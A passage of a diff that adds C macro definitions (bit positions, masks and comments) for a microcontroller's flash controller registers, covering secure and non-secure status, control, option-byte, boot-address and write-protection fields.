+/****************** Bits definition for FLASH_NSSR register *****************/ +#define FLASH_NSSR_EOP_Pos (0UL) +#define FLASH_NSSR_EOP_Msk (0x1UL << FLASH_NSSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_NSSR_EOP FLASH_NSSR_EOP_Msk /*!< Non-secure end of operation */ +#define FLASH_NSSR_OPERR_Pos (1UL) +#define FLASH_NSSR_OPERR_Msk (0x1UL << FLASH_NSSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_NSSR_OPERR FLASH_NSSR_OPERR_Msk /*!< Non-secure operation error */ +#define FLASH_NSSR_PROGERR_Pos (3UL) +#define FLASH_NSSR_PROGERR_Msk (0x1UL << FLASH_NSSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_NSSR_PROGERR FLASH_NSSR_PROGERR_Msk /*!< Non-secure programming error */ +#define FLASH_NSSR_WRPERR_Pos (4UL) +#define FLASH_NSSR_WRPERR_Msk (0x1UL << FLASH_NSSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_NSSR_WRPERR FLASH_NSSR_WRPERR_Msk /*!< Non-secure write protection error */ +#define FLASH_NSSR_PGAERR_Pos (5UL) +#define FLASH_NSSR_PGAERR_Msk (0x1UL << FLASH_NSSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_NSSR_PGAERR FLASH_NSSR_PGAERR_Msk /*!< Non-secure programming alignment error */ +#define FLASH_NSSR_SIZERR_Pos (6UL) +#define FLASH_NSSR_SIZERR_Msk (0x1UL << FLASH_NSSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_NSSR_SIZERR FLASH_NSSR_SIZERR_Msk /*!< Non-secure size error */ +#define FLASH_NSSR_PGSERR_Pos (7UL) +#define FLASH_NSSR_PGSERR_Msk (0x1UL << FLASH_NSSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_NSSR_PGSERR FLASH_NSSR_PGSERR_Msk /*!< Non-secure programming sequence error */ +#define FLASH_NSSR_OPTWERR_Pos (13UL) +#define FLASH_NSSR_OPTWERR_Msk (0x1UL << FLASH_NSSR_OPTWERR_Pos) /*!< 0x00002000 */ +#define FLASH_NSSR_OPTWERR FLASH_NSSR_OPTWERR_Msk /*!< Option write error */ +#define FLASH_NSSR_BSY_Pos (16UL) +#define FLASH_NSSR_BSY_Msk (0x1UL << FLASH_NSSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_NSSR_BSY FLASH_NSSR_BSY_Msk /*!< Non-secure busy */ +#define FLASH_NSSR_WDW_Pos (17UL) +#define FLASH_NSSR_WDW_Msk (0x1UL << FLASH_NSSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_NSSR_WDW FLASH_NSSR_WDW_Msk /*!< Non-secure wait data to write */ +#define FLASH_NSSR_OEM1LOCK_Pos (18UL) +#define FLASH_NSSR_OEM1LOCK_Msk (0x1UL << FLASH_NSSR_OEM1LOCK_Pos) /*!< 0x00040000 */ +#define FLASH_NSSR_OEM1LOCK FLASH_NSSR_OEM1LOCK_Msk /*!< OEM1 lock */ +#define FLASH_NSSR_OEM2LOCK_Pos (19UL) +#define FLASH_NSSR_OEM2LOCK_Msk (0x1UL << FLASH_NSSR_OEM2LOCK_Pos) /*!< 0x00080000 */ +#define FLASH_NSSR_OEM2LOCK FLASH_NSSR_OEM2LOCK_Msk /*!< OEM2 lock */ +#define FLASH_NSSR_PD1_Pos (20UL) +#define FLASH_NSSR_PD1_Msk (0x1UL << FLASH_NSSR_PD1_Pos) /*!< 0x00100000 */ +#define FLASH_NSSR_PD1 FLASH_NSSR_PD1_Msk /*!< Bank 1 in power-down mode */ +#define FLASH_NSSR_PD2_Pos (21UL) +#define FLASH_NSSR_PD2_Msk (0x1UL << FLASH_NSSR_PD2_Pos) /*!< 0x00200000 */ +#define FLASH_NSSR_PD2 FLASH_NSSR_PD2_Msk /*!< Bank 2 in power-down mode */ + +/****************** Bits definition for FLASH_SECSR register ****************/ +#define FLASH_SECSR_EOP_Pos (0UL) +#define FLASH_SECSR_EOP_Msk (0x1UL << FLASH_SECSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_SECSR_EOP FLASH_SECSR_EOP_Msk /*!< Secure end of operation */ +#define FLASH_SECSR_OPERR_Pos (1UL) +#define FLASH_SECSR_OPERR_Msk (0x1UL << FLASH_SECSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_SECSR_OPERR FLASH_SECSR_OPERR_Msk /*!< Secure operation error */ +#define FLASH_SECSR_PROGERR_Pos (3UL) +#define FLASH_SECSR_PROGERR_Msk (0x1UL << FLASH_SECSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_SECSR_PROGERR FLASH_SECSR_PROGERR_Msk /*!< Secure programming error */ +#define FLASH_SECSR_WRPERR_Pos (4UL) +#define FLASH_SECSR_WRPERR_Msk (0x1UL << FLASH_SECSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_SECSR_WRPERR FLASH_SECSR_WRPERR_Msk /*!< Secure write protection error */ +#define FLASH_SECSR_PGAERR_Pos (5UL) +#define FLASH_SECSR_PGAERR_Msk (0x1UL << FLASH_SECSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_SECSR_PGAERR FLASH_SECSR_PGAERR_Msk /*!< Secure programming alignment error */ +#define FLASH_SECSR_SIZERR_Pos (6UL) +#define FLASH_SECSR_SIZERR_Msk (0x1UL << FLASH_SECSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_SECSR_SIZERR FLASH_SECSR_SIZERR_Msk /*!< Secure size error */ +#define FLASH_SECSR_PGSERR_Pos (7UL) +#define FLASH_SECSR_PGSERR_Msk (0x1UL << FLASH_SECSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_SECSR_PGSERR FLASH_SECSR_PGSERR_Msk /*!< Secure programming sequence error */ +#define FLASH_SECSR_BSY_Pos (16UL) +#define FLASH_SECSR_BSY_Msk (0x1UL << FLASH_SECSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_SECSR_BSY FLASH_SECSR_BSY_Msk /*!< Secure busy */ +#define FLASH_SECSR_WDW_Pos (17UL) +#define FLASH_SECSR_WDW_Msk (0x1UL << FLASH_SECSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_SECSR_WDW FLASH_SECSR_WDW_Msk /*!< Secure wait data to write */ + +/****************** Bits definition for FLASH_NSCR register *****************/ +#define FLASH_NSCR_PG_Pos (0UL) +#define FLASH_NSCR_PG_Msk (0x1UL << FLASH_NSCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_NSCR_PG FLASH_NSCR_PG_Msk /*!< Non-secure Programming */ +#define FLASH_NSCR_PER_Pos (1UL) +#define FLASH_NSCR_PER_Msk (0x1UL << FLASH_NSCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_NSCR_PER FLASH_NSCR_PER_Msk /*!< Non-secure Page Erase */ +#define FLASH_NSCR_MER1_Pos (2UL) +#define FLASH_NSCR_MER1_Msk (0x1UL << FLASH_NSCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_NSCR_MER1 FLASH_NSCR_MER1_Msk /*!< Non-secure Bank 1 Mass Erase */ +#define FLASH_NSCR_PNB_Pos (3UL) +#define FLASH_NSCR_PNB_Msk (0x1FUL << FLASH_NSCR_PNB_Pos) /*!< 0x000001F8 */ +#define FLASH_NSCR_PNB FLASH_NSCR_PNB_Msk /*!< Non-secure Page Number selection */ +#define FLASH_NSCR_BKER_Pos (11UL) +#define FLASH_NSCR_BKER_Msk (0x1UL << FLASH_NSCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_NSCR_BKER FLASH_NSCR_BKER_Msk /*!< Non-secure Bank Selection for Page Erase */ +#define FLASH_NSCR_BWR_Pos (14UL) +#define FLASH_NSCR_BWR_Msk (0x1UL << FLASH_NSCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_NSCR_BWR FLASH_NSCR_BWR_Msk /*!< Non-secure Burst Write Programming mode */ +#define FLASH_NSCR_MER2_Pos (15UL) +#define FLASH_NSCR_MER2_Msk (0x1UL << FLASH_NSCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_NSCR_MER2 FLASH_NSCR_MER2_Msk /*!< Non-secure Bank 2 Mass Erase */ +#define FLASH_NSCR_STRT_Pos (16UL) +#define FLASH_NSCR_STRT_Msk (0x1UL << FLASH_NSCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_NSCR_STRT FLASH_NSCR_STRT_Msk /*!< Non-secure Start */ +#define FLASH_NSCR_OPTSTRT_Pos (17UL) +#define FLASH_NSCR_OPTSTRT_Msk (0x1UL << FLASH_NSCR_OPTSTRT_Pos) /*!< 0x00020000 */ +#define FLASH_NSCR_OPTSTRT FLASH_NSCR_OPTSTRT_Msk /*!< Option Modification Start */ +#define FLASH_NSCR_EOPIE_Pos (24UL) +#define FLASH_NSCR_EOPIE_Msk (0x1UL << FLASH_NSCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_NSCR_EOPIE FLASH_NSCR_EOPIE_Msk /*!< Non-secure End of operation interrupt enable */ +#define FLASH_NSCR_ERRIE_Pos (25UL) +#define FLASH_NSCR_ERRIE_Msk (0x1UL << FLASH_NSCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_NSCR_ERRIE FLASH_NSCR_ERRIE_Msk /*!< Non-secure error interrupt enable */ +#define FLASH_NSCR_OBL_LAUNCH_Pos (27UL) +#define FLASH_NSCR_OBL_LAUNCH_Msk (0x1UL << FLASH_NSCR_OBL_LAUNCH_Pos) /*!< 0x08000000 */ +#define FLASH_NSCR_OBL_LAUNCH FLASH_NSCR_OBL_LAUNCH_Msk /*!< Force the option byte loading */ +#define FLASH_NSCR_OPTLOCK_Pos (30UL) +#define FLASH_NSCR_OPTLOCK_Msk (0x1UL << FLASH_NSCR_OPTLOCK_Pos) /*!< 0x40000000 */ +#define FLASH_NSCR_OPTLOCK FLASH_NSCR_OPTLOCK_Msk /*!< Option Lock */ +#define FLASH_NSCR_LOCK_Pos (31UL) +#define FLASH_NSCR_LOCK_Msk (0x1UL << FLASH_NSCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_NSCR_LOCK FLASH_NSCR_LOCK_Msk /*!< Non-secure Lock */ + +/****************** Bits definition for FLASH_SECCR register ****************/ +#define FLASH_SECCR_PG_Pos (0UL) +#define FLASH_SECCR_PG_Msk (0x1UL << FLASH_SECCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_SECCR_PG FLASH_SECCR_PG_Msk /*!< Secure Programming */ +#define FLASH_SECCR_PER_Pos (1UL) +#define FLASH_SECCR_PER_Msk (0x1UL << FLASH_SECCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_SECCR_PER FLASH_SECCR_PER_Msk /*!< Secure Page Erase */ +#define FLASH_SECCR_MER1_Pos (2UL) +#define FLASH_SECCR_MER1_Msk (0x1UL << FLASH_SECCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_SECCR_MER1 FLASH_SECCR_MER1_Msk /*!< Secure Bank 1 Mass Erase */ +#define FLASH_SECCR_PNB_Pos (3UL) +#define FLASH_SECCR_PNB_Msk (0x1FUL << FLASH_SECCR_PNB_Pos) /*!< 0x000001F8 */ +#define FLASH_SECCR_PNB FLASH_SECCR_PNB_Msk /*!< Secure Page Number selection */ +#define FLASH_SECCR_BKER_Pos (11UL) +#define FLASH_SECCR_BKER_Msk (0x1UL << FLASH_SECCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_SECCR_BKER FLASH_SECCR_BKER_Msk /*!< Secure Bank Selection for Page Erase */ +#define FLASH_SECCR_BWR_Pos (14UL) +#define FLASH_SECCR_BWR_Msk (0x1UL << FLASH_SECCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_SECCR_BWR FLASH_SECCR_BWR_Msk /*!< Secure Burst Write programming mode */ +#define FLASH_SECCR_MER2_Pos (15UL) +#define FLASH_SECCR_MER2_Msk (0x1UL << FLASH_SECCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_SECCR_MER2 FLASH_SECCR_MER2_Msk /*!< Secure Bank 2 Mass Erase */ +#define FLASH_SECCR_STRT_Pos (16UL) +#define FLASH_SECCR_STRT_Msk (0x1UL << FLASH_SECCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_SECCR_STRT FLASH_SECCR_STRT_Msk /*!< Secure Start */ +#define FLASH_SECCR_EOPIE_Pos (24UL) +#define FLASH_SECCR_EOPIE_Msk (0x1UL << FLASH_SECCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_SECCR_EOPIE FLASH_SECCR_EOPIE_Msk /*!< Secure end of operation interrupt enable */ +#define FLASH_SECCR_ERRIE_Pos (25UL) +#define FLASH_SECCR_ERRIE_Msk (0x1UL << FLASH_SECCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_SECCR_ERRIE FLASH_SECCR_ERRIE_Msk /*!< Secure error interrupt enable */ +#define FLASH_SECCR_INV_Pos (29UL) +#define FLASH_SECCR_INV_Msk (0x1UL << FLASH_SECCR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_SECCR_INV FLASH_SECCR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_SECCR_LOCK_Pos (31UL) +#define FLASH_SECCR_LOCK_Msk (0x1UL << FLASH_SECCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_SECCR_LOCK FLASH_SECCR_LOCK_Msk /*!< Secure Lock */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0UL) +#define FLASH_ECCR_ADDR_ECC_Msk (0x3FFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x0003FFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_BK_ECC_Pos (21UL) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (22UL) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (24UL) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30UL) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31UL) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0UL) +#define FLASH_OPSR_ADDR_OP_Msk (0x3FFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x0003FFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Flash operation address */ +#define FLASH_OPSR_BK_OP_Pos (21UL) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (22UL) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29UL) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTR register ***************/ +#define FLASH_OPTR_RDP_Pos (0UL) +#define FLASH_OPTR_RDP_Msk (0xFFUL << FLASH_OPTR_RDP_Pos) /*!< 0x000000FF */ +#define FLASH_OPTR_RDP FLASH_OPTR_RDP_Msk /*!< Readout protection level */ +#define FLASH_OPTR_BOR_LEV_Pos (8UL) +#define FLASH_OPTR_BOR_LEV_Msk (0x7UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000700 */ +#define FLASH_OPTR_BOR_LEV FLASH_OPTR_BOR_LEV_Msk /*!< BOR reset Level */ +#define FLASH_OPTR_BOR_LEV_0 (0x1UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000100 */ +#define FLASH_OPTR_BOR_LEV_1 (0x2UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000200 */ +#define FLASH_OPTR_BOR_LEV_2 (0x4UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000400 */ +#define FLASH_OPTR_nRST_STOP_Pos (12UL) +#define FLASH_OPTR_nRST_STOP_Msk (0x1UL << FLASH_OPTR_nRST_STOP_Pos) /*!< 0x00001000 */ +#define FLASH_OPTR_nRST_STOP FLASH_OPTR_nRST_STOP_Msk /*!< nRST_STOP */ +#define FLASH_OPTR_nRST_STDBY_Pos (13UL) +#define FLASH_OPTR_nRST_STDBY_Msk (0x1UL << FLASH_OPTR_nRST_STDBY_Pos) /*!< 0x00002000 */ +#define FLASH_OPTR_nRST_STDBY FLASH_OPTR_nRST_STDBY_Msk /*!< nRST_STDBY */ +#define FLASH_OPTR_nRST_SHDW_Pos (14UL) +#define FLASH_OPTR_nRST_SHDW_Msk (0x1UL << FLASH_OPTR_nRST_SHDW_Pos) /*!< 0x00004000 */ +#define FLASH_OPTR_nRST_SHDW FLASH_OPTR_nRST_SHDW_Msk /*!< nRST_SHDW */ +#define FLASH_OPTR_SRAM_RST_Pos (15UL) +#define FLASH_OPTR_SRAM_RST_Msk (0x1UL << FLASH_OPTR_SRAM_RST_Pos) /*!< 0x00008000 */ +#define FLASH_OPTR_SRAM_RST FLASH_OPTR_SRAM_RST_Msk /*!< All SRAMs (except SRAM2 and BKPSRAM) erase upon system reset */ +#define FLASH_OPTR_IWDG_SW_Pos (16UL) +#define FLASH_OPTR_IWDG_SW_Msk (0x1UL << FLASH_OPTR_IWDG_SW_Pos) /*!< 0x00010000 */ +#define FLASH_OPTR_IWDG_SW FLASH_OPTR_IWDG_SW_Msk /*!< Independent watchdog selection */ +#define FLASH_OPTR_IWDG_STOP_Pos (17UL) +#define FLASH_OPTR_IWDG_STOP_Msk (0x1UL << FLASH_OPTR_IWDG_STOP_Pos) /*!< 0x00020000 */ +#define FLASH_OPTR_IWDG_STOP FLASH_OPTR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTR_IWDG_STDBY_Pos (18UL) +#define FLASH_OPTR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTR_IWDG_STDBY_Pos) /*!< 0x00040000 */ +#define FLASH_OPTR_IWDG_STDBY FLASH_OPTR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTR_WWDG_SW_Pos (19UL) +#define FLASH_OPTR_WWDG_SW_Msk (0x1UL << FLASH_OPTR_WWDG_SW_Pos) /*!< 0x00080000 */ +#define FLASH_OPTR_WWDG_SW FLASH_OPTR_WWDG_SW_Msk /*!< Window watchdog selection */ +#define FLASH_OPTR_SWAP_BANK_Pos (20UL) +#define FLASH_OPTR_SWAP_BANK_Msk (0x1UL << FLASH_OPTR_SWAP_BANK_Pos) /*!< 0x00100000 */ +#define FLASH_OPTR_SWAP_BANK FLASH_OPTR_SWAP_BANK_Msk /*!< Swap banks */ +#define FLASH_OPTR_DUALBANK_Pos (21UL) +#define FLASH_OPTR_DUALBANK_Msk (0x1UL << FLASH_OPTR_DUALBANK_Pos) /*!< 0x00200000 */ +#define FLASH_OPTR_DUALBANK FLASH_OPTR_DUALBANK_Msk /*!< Dual-bank on 1M and 512 Kbytes Flash memory devices */ +#define FLASH_OPTR_BKPRAM_ECC_Pos (22UL) +#define FLASH_OPTR_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTR_BKPRAM_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_OPTR_BKPRAM_ECC FLASH_OPTR_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTR_SRAM2_ECC_Pos (24UL) +#define FLASH_OPTR_SRAM2_ECC_Msk (0x1UL << FLASH_OPTR_SRAM2_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_OPTR_SRAM2_ECC FLASH_OPTR_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction enable*/ +#define FLASH_OPTR_SRAM2_RST_Pos (25UL) +#define FLASH_OPTR_SRAM2_RST_Msk (0x1UL << FLASH_OPTR_SRAM2_RST_Pos) /*!< 0x02000000 */ +#define FLASH_OPTR_SRAM2_RST FLASH_OPTR_SRAM2_RST_Msk /*!< SRAM2 erase when system reset */ +#define FLASH_OPTR_nSWBOOT0_Pos (26UL) +#define FLASH_OPTR_nSWBOOT0_Msk (0x1UL << FLASH_OPTR_nSWBOOT0_Pos) /*!< 0x04000000 */ +#define FLASH_OPTR_nSWBOOT0 FLASH_OPTR_nSWBOOT0_Msk /*!< Software BOOT0 */ +#define FLASH_OPTR_nBOOT0_Pos (27UL) +#define FLASH_OPTR_nBOOT0_Msk (0x1UL << FLASH_OPTR_nBOOT0_Pos) /*!< 0x08000000 */ +#define FLASH_OPTR_nBOOT0 FLASH_OPTR_nBOOT0_Msk /*!< nBOOT0 option bit */ +#define FLASH_OPTR_PA15_PUPEN_Pos (28UL) +#define FLASH_OPTR_PA15_PUPEN_Msk (0x1UL << FLASH_OPTR_PA15_PUPEN_Pos) /*!< 0x10000000 */ +#define FLASH_OPTR_PA15_PUPEN FLASH_OPTR_PA15_PUPEN_Msk /*!< PA15 pull-up enable */ +#define FLASH_OPTR_IO_VDD_HSLV_Pos (29UL) +#define FLASH_OPTR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDD_HSLV_Pos) /*!< 0x20000000 */ +#define FLASH_OPTR_IO_VDD_HSLV FLASH_OPTR_IO_VDD_HSLV_Msk /*!< High speed IO at low voltage configuration bit */ +#define FLASH_OPTR_IO_VDDIO2_HSLV_Pos (30UL) +#define FLASH_OPTR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDDIO2_HSLV_Pos) /*!< 0x40000000 */ +#define FLASH_OPTR_IO_VDDIO2_HSLV FLASH_OPTR_IO_VDDIO2_HSLV_Msk /*!< High speed IO at low VDDIO2 voltage configuration bit */ +#define FLASH_OPTR_TZEN_Pos (31UL) +#define FLASH_OPTR_TZEN_Msk (0x1UL << FLASH_OPTR_TZEN_Pos) /*!< 0x80000000 */ +#define FLASH_OPTR_TZEN FLASH_OPTR_TZEN_Msk /*!< Global TrustZone security enable */ + +/**************** Bits definition for FLASH_NSBOOTADD0R register ************/ +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Pos (7UL) +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD0R_NSBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD0R_NSBOOTADD0 FLASH_NSBOOTADD0R_NSBOOTADD0_Msk /*!< Non-secure boot address 0 */ + +/**************** Bits definition for FLASH_NSBOOTADD1R register ************/ +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Pos (7UL) +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD1R_NSBOOTADD1_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD1R_NSBOOTADD1 FLASH_NSBOOTADD1R_NSBOOTADD1_Msk /*!< Non-secure boot address 1 */ + +/**************** Bits definition for FLASH_SECBOOTADD0R register ***********/ +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Pos (0UL) +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Msk (0x1UL << FLASH_SECBOOTADD0R_BOOT_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_SECBOOTADD0R_BOOT_LOCK FLASH_SECBOOTADD0R_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Pos (7UL) +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Msk (0x1FFFFFFUL << FLASH_SECBOOTADD0R_SECBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0 FLASH_SECBOOTADD0R_SECBOOTADD0_Msk /*!< Secure boot address 0 */ + +/***************** Bits definition for FLASH_SECWM1R1 register **************/ +#define FLASH_SECWM1R1_SECWM1_PSTRT_Pos (0UL) +#define FLASH_SECWM1R1_SECWM1_PSTRT_Msk (0x1FUL << FLASH_SECWM1R1_SECWM1_PSTRT_Pos) /*!< 0x0000001F */ +#define FLASH_SECWM1R1_SECWM1_PSTRT FLASH_SECWM1R1_SECWM1_PSTRT_Msk /*!< Start page of first secure area */ +#define FLASH_SECWM1R1_SECWM1_PEND_Pos (16UL) +#define FLASH_SECWM1R1_SECWM1_PEND_Msk (0x1FUL << FLASH_SECWM1R1_SECWM1_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_SECWM1R1_SECWM1_PEND FLASH_SECWM1R1_SECWM1_PEND_Msk /*!< End page of first secure area */ + +/***************** Bits definition for FLASH_SECWM1R2 register **************/ +#define FLASH_SECWM1R2_HDP1_PEND_Pos (16UL) +#define FLASH_SECWM1R2_HDP1_PEND_Msk (0x1FUL << FLASH_SECWM1R2_HDP1_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_SECWM1R2_HDP1_PEND FLASH_SECWM1R2_HDP1_PEND_Msk /*!< End page of first hide protection area */ +#define FLASH_SECWM1R2_HDP1EN_Pos (31UL) +#define FLASH_SECWM1R2_HDP1EN_Msk (0x1UL << FLASH_SECWM1R2_HDP1EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM1R2_HDP1EN FLASH_SECWM1R2_HDP1EN_Msk /*!< Hide protection first area enable */ + +/****************** Bits definition for FLASH_WRP1AR register ***************/ +#define FLASH_WRP1AR_WRP1A_PSTRT_Pos (0UL) +#define FLASH_WRP1AR_WRP1A_PSTRT_Msk (0x1FUL << FLASH_WRP1AR_WRP1A_PSTRT_Pos) /*!< 0x0000001F */ +#define FLASH_WRP1AR_WRP1A_PSTRT FLASH_WRP1AR_WRP1A_PSTRT_Msk /*!< Bank 1 WPR first area A start page */ +#define FLASH_WRP1AR_WRP1A_PEND_Pos (16UL) +#define FLASH_WRP1AR_WRP1A_PEND_Msk (0x1FUL << FLASH_WRP1AR_WRP1A_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_WRP1AR_WRP1A_PEND FLASH_WRP1AR_WRP1A_PEND_Msk /*!< Bank 1 WPR first area A end page */ +#define FLASH_WRP1AR_UNLOCK_Pos (31UL) +#define FLASH_WRP1AR_UNLOCK_Msk (0x1UL << FLASH_WRP1AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1AR_UNLOCK FLASH_WRP1AR_UNLOCK_Msk /*!< Bank 1 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP1BR register ***************/ +#define FLASH_WRP1BR_WRP1B_PSTRT_Pos (0UL) +#define FLASH_WRP1BR_WRP1B_PSTRT_Msk (0x1FUL << FLASH_WRP1BR_WRP1B_PSTRT_Pos) /*!< 0x0000001F */ +#define FLASH_WRP1BR_WRP1B_PSTRT FLASH_WRP1BR_WRP1B_PSTRT_Msk /*!< Bank 1 WPR second area B start page */ +#define FLASH_WRP1BR_WRP1B_PEND_Pos (16UL) +#define FLASH_WRP1BR_WRP1B_PEND_Msk (0x1FUL << FLASH_WRP1BR_WRP1B_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_WRP1BR_WRP1B_PEND FLASH_WRP1BR_WRP1B_PEND_Msk /*!< Bank 1 WPR second area B end page */ +#define FLASH_WRP1BR_UNLOCK_Pos (31UL) +#define FLASH_WRP1BR_UNLOCK_Msk (0x1UL << FLASH_WRP1BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1BR_UNLOCK FLASH_WRP1BR_UNLOCK_Msk /*!< Bank 1 WPR first area B unlock */ + +/***************** Bits definition for FLASH_SECWM2R1 register **************/ +#define FLASH_SECWM2R1_SECWM2_PSTRT_Pos (0UL) +#define FLASH_SECWM2R1_SECWM2_PSTRT_Msk (0x1FUL << FLASH_SECWM2R1_SECWM2_PSTRT_Pos) /*!< 